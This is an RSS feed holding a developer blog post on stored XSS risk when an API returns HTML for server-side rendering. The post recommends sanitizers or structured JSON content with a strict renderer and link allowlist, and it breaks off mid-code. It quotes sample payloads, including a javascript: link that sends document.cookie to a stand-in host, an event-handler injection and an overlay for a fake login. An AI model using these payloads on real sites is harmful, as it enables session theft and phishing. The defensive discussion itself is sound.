<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Shayan Mirzaie</title>
    <description>The latest articles on DEV Community by Shayan Mirzaie (@leopold2).</description>
    <link>https://dev.to/leopold2</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1347638%2Fa4fc96dd-d011-420e-afd5-fa1b118b5428.jpg</url>
      <title>DEV Community: Shayan Mirzaie</title>
      <link>https://dev.to/leopold2</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/leopold2"/>
    <language>en</language>
    <item>
      <title>The API Returns HTML. What Could Go Wrong?</title>
      <dc:creator>Shayan Mirzaie</dc:creator>
      <pubDate>Thu, 01 Oct 2026 14:06:58 +0000</pubDate>
      <link>https://dev.to/leopold2/the-api-returns-html-what-could-go-wrong-597o</link>
      <guid>https://dev.to/leopold2/the-api-returns-html-what-could-go-wrong-597o</guid>
      <description>&lt;p&gt;One thing I have been thinking about recently is how a seemingly simple content feature can quietly become a security and architecture decision.&lt;/p&gt;

&lt;p&gt;The requirement sounds harmless:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;An internal team writes rich content in a backoffice, an API returns it, and the frontend renders it on customer pages.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We needed something similar at Snappfood for an SEO content box. The content had to support paragraphs, headings, lists, bold text, and links. It also had to be rendered server-side so search engines could index it.&lt;/p&gt;

&lt;p&gt;The obvious implementation looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;SeoBox&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="p"&gt;}:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;dangerouslySetInnerHTML&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;__html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is only one line of code.&lt;/p&gt;

&lt;p&gt;But that line changes the meaning of the API response. It is no longer just data. It can become instructions for the browser.&lt;/p&gt;

&lt;p&gt;And that is where the real problem starts.&lt;/p&gt;




&lt;h2&gt;
  
  
  The API boundary is not a trust boundary
&lt;/h2&gt;

&lt;p&gt;It is tempting to think the HTML is safe because it comes from our own API or because only backoffice users can edit it.&lt;/p&gt;

&lt;p&gt;But internal content is still input.&lt;/p&gt;

&lt;p&gt;An account can be compromised. A permission can be configured incorrectly. A migration script can copy unsafe content. Another service can write directly to the database. And a harmless-looking editor change can start preserving attributes that the frontend never expected.&lt;/p&gt;

&lt;p&gt;If the content is stored and later rendered for every visitor, a single bad value becomes &lt;strong&gt;stored XSS&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"javascript:fetch('//evil.example?c='+document.cookie)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  Special offer
&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;p&lt;/span&gt; &lt;span class="na"&gt;onmouseover=&lt;/span&gt;&lt;span class="s"&gt;"stealUserData()"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Move your mouse here&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"position:fixed;inset:0;z-index:9999"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  Fake login form
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The impact is not limited to showing an alert box. Depending on the application, injected content can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;perform actions as the signed-in user&lt;/li&gt;
&lt;li&gt;read data available to JavaScript and send it elsewhere&lt;/li&gt;
&lt;li&gt;replace part of the page with a phishing UI&lt;/li&gt;
&lt;li&gt;redirect users to spam or malicious websites&lt;/li&gt;
&lt;li&gt;damage SEO through injected links or hidden content&lt;/li&gt;
&lt;li&gt;break the layout or create server/client hydration mismatches&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On a large product, the blast radius matters. One backoffice entry may be rendered on the web, PWA, Android, and iOS surfaces, and seen by thousands of users before anyone notices.&lt;/p&gt;

&lt;p&gt;The problem is not that the API is external.&lt;/p&gt;

&lt;p&gt;The problem is that we gave a string the authority to create browser behavior.&lt;/p&gt;




&lt;h2&gt;
  
  
  Allowing only a few tags is not enough
&lt;/h2&gt;

&lt;p&gt;The first solution many teams consider is a tag allowlist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;p, h2, h3, ul, ol, li, b, em, a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is a good start, but most of the interesting risk is not in the tag name. It is in the attributes and their values.&lt;/p&gt;

&lt;p&gt;An &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; element may be allowed, but should its &lt;code&gt;href&lt;/code&gt; accept &lt;code&gt;javascript:&lt;/code&gt;? Should it accept a protocol-relative URL such as &lt;code&gt;//evil.example&lt;/code&gt;? Should arbitrary &lt;code&gt;style&lt;/code&gt;, &lt;code&gt;class&lt;/code&gt;, &lt;code&gt;id&lt;/code&gt;, or event attributes survive?&lt;/p&gt;

&lt;p&gt;Every allowed element creates another set of questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which attributes are valid?&lt;/li&gt;
&lt;li&gt;Which URL protocols and domains are valid?&lt;/li&gt;
&lt;li&gt;Can CSS hide or cover trusted UI?&lt;/li&gt;
&lt;li&gt;Can the content load remote resources?&lt;/li&gt;
&lt;li&gt;What happens when malformed markup reaches SSR?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is why a regular expression or a home-grown HTML parser is not a security solution. Browsers parse HTML in complicated ways, and the edge cases evolve.&lt;/p&gt;




&lt;h2&gt;
  
  
  Option 1: Keep HTML, but sanitize it correctly
&lt;/h2&gt;

&lt;p&gt;Sometimes HTML really is the right content format. Maybe you already have years of HTML content, need high authoring flexibility, or integrate with a system that only produces HTML.&lt;/p&gt;

&lt;p&gt;In that case, use a maintained sanitizer such as &lt;a href="https://github.com/cure53/DOMPurify" rel="noopener noreferrer"&gt;DOMPurify&lt;/a&gt; or &lt;a href="https://www.npmjs.com/package/sanitize-html" rel="noopener noreferrer"&gt;sanitize-html&lt;/a&gt;. Do not build one yourself.&lt;/p&gt;

&lt;p&gt;A serious configuration needs to define at least:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;allowed tags&lt;/li&gt;
&lt;li&gt;allowed attributes for each tag&lt;/li&gt;
&lt;li&gt;allowed URL schemes and hosts&lt;/li&gt;
&lt;li&gt;treatment of inline styles, images, iframes, and SVG&lt;/li&gt;
&lt;li&gt;where sanitization runs and how often it runs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It should also be tested with malicious payloads, not only valid editor output.&lt;/p&gt;

&lt;p&gt;Sanitization is a valid defense, but it creates an ongoing responsibility:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the sanitizer must stay patched&lt;/li&gt;
&lt;li&gt;backend and frontend rules must not drift apart&lt;/li&gt;
&lt;li&gt;content must not be mutated after sanitization&lt;/li&gt;
&lt;li&gt;every place that renders the HTML must use the same policy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A strict Content Security Policy and Trusted Types can reduce the impact of mistakes, but they are additional layers, not replacements for safe rendering. The &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP XSS Prevention Cheat Sheet&lt;/a&gt; makes the same point: no single control solves every XSS problem.&lt;/p&gt;

&lt;p&gt;For us, the more useful question became:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Do we need to accept HTML at all?&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Option 2: Store content as structured data
&lt;/h2&gt;

&lt;p&gt;Our content requirements were intentionally small:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;paragraphs&lt;/li&gt;
&lt;li&gt;level-two and level-three headings&lt;/li&gt;
&lt;li&gt;ordered and unordered lists&lt;/li&gt;
&lt;li&gt;bold and italic text&lt;/li&gt;
&lt;li&gt;links&lt;/li&gt;
&lt;li&gt;line breaks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We did not need arbitrary HTML. We needed a small document model.&lt;/p&gt;

&lt;p&gt;So instead of storing an HTML string, we chose a TipTap/ProseMirror JSON document:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"doc"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"heading"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"attrs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Order pizza online in Tehran"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"paragraph"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Choose from "&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hundreds of restaurants"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"marks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bold"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The frontend maps each known node to a component:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;renderNode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;SeoNode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ReactNode&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;renderNode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;switch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;renderText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;paragraph&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Text&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;as&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"p"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;heading&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Text&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;as&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;attrs&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;level&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;h3&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;h2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
          &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bulletList&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;ul&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;ul&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;orderedList&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;ol&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;ol&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;listItem&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;li&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;li&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hardBreak&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No HTML string is parsed in the browser.&lt;/p&gt;

&lt;p&gt;Text stays a React string, so React escapes it. A paragraph can only become our paragraph component. A heading can only become &lt;code&gt;h2&lt;/code&gt; or &lt;code&gt;h3&lt;/code&gt;. An unknown node produces nothing instead of creating an unknown DOM element.&lt;/p&gt;

&lt;p&gt;This is an important distinction:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;JSON is not automatically safe. It becomes safe when the schema is validated and the renderer gives it only a small, explicit set of capabilities.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Links need their own security policy
&lt;/h2&gt;

&lt;p&gt;Even with structured content, links are still an escape hatch.&lt;/p&gt;

&lt;p&gt;We decided that a link may be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a relative path such as &lt;code&gt;/discounts&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;an HTTPS URL on &lt;code&gt;snappfood.ir&lt;/code&gt; or one of its subdomains&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Everything else is rejected.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isAllowedHref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
    &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;//&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
